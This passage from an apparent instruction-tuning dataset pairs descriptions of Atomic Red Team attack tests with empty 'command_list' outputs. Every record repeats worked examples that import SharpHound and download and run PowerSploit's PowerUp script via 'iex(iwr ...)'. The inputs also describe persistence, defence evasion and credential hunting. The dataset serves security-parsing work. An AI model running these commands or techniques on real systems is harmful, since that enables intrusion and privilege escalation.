    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This Atomic will create a Google Storage Bucket then delete it. The idea for this Atomic came from a Rule published by the Elastic team.\n\nIdentifies when a Google Cloud Platform (GCP) storage bucket is deleted. An adversary may delete a storage bucket in order to disrupt their target's business operations.\nThis atomic will create a bucket then delete the bucket.\n\nReference: https://github.com/elastic/detection-rules/blob/main/rules/integrations/gcp/impact_gcp_storage_bucket_deleted.toml\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Enumerates system service using systemctl/service\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Methods to identify Security Software on an endpoint\n\nwhen sucessfully executed, the test is going to display running processes, firewall configuration on network profiles\nand specific security software.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Adds persistence by abusing `compmgmt.msc` via a scheduled task.\nWhen the Computer Management console is opened, it will run a malicious payload (in this case, `calc.exe`). \nThis technique abuses scheduled tasks and registry modifications to hijack legitimate system processes.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Use wlrmdr(Windows Logon Reminder executable) as a proxy binary to evade defensive countermeasures",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Find passwords in the powershell history files\nSearching for following strings: \"password\", \"-p\", \"key\", \"pwd\", \"pass\"\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Using the Disable-AntiPhishRule cmdlet to disable antiphish rules in your office-365 organization.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Modify event viewer registry values to alter the behavior of the online help redirection. Upon opening an event in event viewer and attempting to view the help page for the event, it will execute the program defined in the redirection program registry entry.",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An adversary may attempt to trick a user into executing Microsoft Quick Assist Microsoft Store app and connect to the user's machine. \n",
    "output": "{\"command_list\": []}"
  },
  {
